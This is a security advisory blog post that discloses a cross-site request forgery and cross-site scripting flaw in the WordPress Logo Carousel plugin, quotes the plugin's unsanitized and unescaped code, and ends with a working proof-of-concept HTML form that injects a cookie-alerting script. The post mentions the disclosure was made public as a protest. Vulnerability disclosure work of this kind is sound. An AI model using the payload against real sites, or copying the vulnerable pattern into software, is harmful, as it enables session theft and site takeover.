Another One of the 1,000 Most Popular WordPress Plugins Contains a CSRF/XSS Vulnerability
Among the many things we do to provide our customers with the best data on vulnerabilities in any WordPress plugins they use is that we keep track of any of the 1,000 most popular plugins being closed on the WordPress Plugin Directory in case that might be due to a security vulnerability. Yesterday one of those plugins, Logo Carousel, which has 40,000+ active installations according to wordpress.org, was closed. No reason has been given for that closure so far, but in just our quick check over the plugin we found a security vulnerability that could have led to it being removed, that being a cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability when saving the settings for one of the plugin’s carousels.
That is the same type of issue we found when another one of the 1,000 most popular plugins was closed three weeks ago, so if these vulnerabilities were not responsible for the disclosures, it would appear that there may be larger problem with this type of issue that is going under noticed even in the most popular plugins. That type of issue is something we have longed check for during security reviews of plugins, which we both do as part of our main service and as a separate service, so if you are interested in making sure plugins you use are secured against that and other security issues we offer a solution.
Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.
Technical Details
The plugin registers an admin page named Manage Carousels to be accessible to those with “manage_options” capability (which normally only Administrators have), which when accessed causes the function admin_pages_manage_carousels() to run:
236 237 238 239 240 241 242 243 244 245 | function admin_pages() { add_submenu_page( 'edit.php?post_type=kwlogos', __('Manage Carousels', 'kiwi-logo-carousel'), __('Manage Carousels', 'kiwi-logo-carousel'), 'manage_options', 'kwlogos_settings', array( $this, 'admin_pages_manage_carousels' ) ); } |
When that function, which is located in the file /kiwi_logo_carousel_admin.php, runs, if the POST input “submit” is set then a carousel’s settings will be changed to the values sent with the request without sanitizing them:
261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 | if (isset($_POST['submit'])) { $default = $this->default_values; $parameters = array(); $parameters['mode'] = $this->rdie($_POST['klc_mode'], $default['mode']); $parameters['speed'] = $this->rdie($_POST['klc_speed'], $default['speed']); $parameters['slideMargin'] = $this->rdie($_POST['klc_slidemargin'], $default['slideMargin']); $parameters['infiniteLoop'] = $this->rdie($_POST['klc_infiniteloop'], $default['infiniteLoop']); $parameters['hideControlOnEnd'] = $this->rdie($_POST['klc_hidecontrolonend'], $default['hideControlOnEnd']); $parameters['captions'] = $this->rdie($_POST['klc_captions'], $default['captions']); $parameters['ticker'] = $this->rdie($_POST['klc_ticker'], $default['ticker']); $parameters['tickerHover'] = $this->rdie($_POST['klc_tickerhover'], $default['tickerHover']); $parameters['adaptiveHeight'] = $this->rdie($_POST['klc_adaptiveheight'], $default['adaptiveHeight']); $parameters['responsive'] = $this->rdie($_POST['klc_responsive'], $default['responsive']); $parameters['pager'] = $this->rdie($_POST['klc_pager'], $default['pager']); $parameters['controls'] = $this->rdie($_POST['klc_controls'], $default['controls']); $parameters['minSlides'] = $this->rdie($_POST['klc_minslides'], $default['minSlides']); $parameters['maxSlides'] = $this->rdie($_POST['klc_maxslides'], $default['maxSlides']); $parameters['moveSlides'] = $this->rdie($_POST['klc_moveslides'], $default['moveSlides']); $parameters['slideWidth'] = $this->rdie($_POST['klc_slidewidth'], $default['slideWidth']); $parameters['auto'] = $this->rdie($_POST['klc_auto'], $default['auto']); $parameters['pause'] = $this->rdie($_POST['klc_pause'], $default['pause']); $parameters['klco_style'] = $this->rdie($_POST['klco_style'], $default['klco_style']); $parameters['klco_orderby'] = $this->rdie($_POST['klco_orderby'], $default['klco_orderby']); $parameters['klco_clickablelogos'] = $this->rdie($_POST['klco_clickablelogos'], $default['klco_clickablelogos']); $parameters['klco_alignment'] = $this->rdie($_POST['klco_alignment'], $default['klco_alignment']); $parameters['klco_height'] = $this->rdie($_POST['klco_height'], $default['klco_height']); $parameters = serialize($parameters); update_option( 'kiwiLGCRSL_'.$carousel, $parameters ); |
There should be a check for a valid nonce to prevent cross-site request forgery (CSRF) before changing the carousel’s settings.
The values are then output on the same page (they also could be output on frontend pages) without being escaped on lines like this one:
312 | <td><input name="klc_speed" type="number" value="<?php if (isset($p['speed'])) {echo $p['speed'];} ?>"/></td> |
That permits malicious JavaScript code set to one of the settings to be output, which is cross-site scripting (XSS).
Proof of Concept
The following proof of concept will cause any available cookies to be shown in an alert box on the page /wp-admin/edit.php?post_type=kwlogos&page=kwlogos_settings, when logged in as an Administrator.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/edit.php?post_type=kwlogos&page=kwlogos_settings" method="POST"> <input type="hidden" name="klc_speed" value='"><script>alert(document.cookie);</script>' /> <input type="submit" name="submit" value="Submit" /> </form> </body> </html>
Pingback: A Free Logo Carousel Plugin for WordPress | Divi Notes